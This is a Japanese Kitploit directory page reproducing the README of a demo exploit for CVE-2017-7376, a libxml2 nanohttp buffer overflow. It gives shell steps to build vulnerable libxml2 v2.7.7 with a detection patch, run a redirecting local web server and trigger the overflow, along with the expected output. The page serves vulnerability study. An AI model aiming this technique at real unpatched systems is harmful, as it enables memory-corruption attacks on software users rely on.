Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
libxml2-exploit — CVE-2017-7376 のエクスプロイト例 | Kitploit
ツール/GitHubGitHub/brahmstaedt/libxml2-exploit
脆弱性分析エクスプロイトウェブセキュリティファジングバイナリエクスプロイト
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

CVE-2017-7376 のエクスプロイト例

リポジトリを見る
336年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

libxml2-exploit

CVE-2017-7376 のエクスプロイト例

インストール

このリポジトリと、脆弱性のあるバージョンの libxml2(例: v2.7.7)をダウンロードします:

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

セットアップ

root@kitploit:~
cd libxml2

libxml2 の準備

エクスプロイトの成功をより分かりやすくするために、バッファオーバーフローを検出するコードを libxml2 に追加します。アプリケーションのクラッシュなど、他に可視化する手段がある場合は不要です。

root@kitploit:~
git apply ../nanohttp.patch

libxml2 のビルド

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

次のエラーが発生した場合:

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

configure.in 内の AM_C_PROTOTYPES を dnl AM_C_PROTOTYPES に置き換えます。例:

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

戻ります

root@kitploit:~
cd ..

Web サーバーの準備

このエクスプロイトには、5 桁を超え int32max(2147483648 = 2^32/2)未満のポート番号を持つ新しい URL へのリダイレクトで応答する Web サーバーが必要です。

サーバーを起動します(Node.js が必要で、ポート 127.0.0.1:8080 が未使用である必要があります):

root@kitploit:~
node http.js &

Web サーバーをテストします。無効なポート番号 2147426192 についてのエラーが表示されるはずです:

root@kitploit:~
wget localhost:8080

コンパイル

root@kitploit:~
make

実行

root@kitploit:~
./run.sh

期待される出力:

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

今後の課題

このデモエクスプロイトは、メインプログラムが xmlXIncludeProcess() を実行して libxml2 内の 問題のあるコードに到達することを前提としていますが、これは実際の多くの実装では使用されていない可能性があります。 ただし、nanohttp.c のコメントには、外部サブセットを取得するための minimalist HTTP GET implementation と あり、別の攻撃経路を提供する可能性があります。

ツールをダウンロード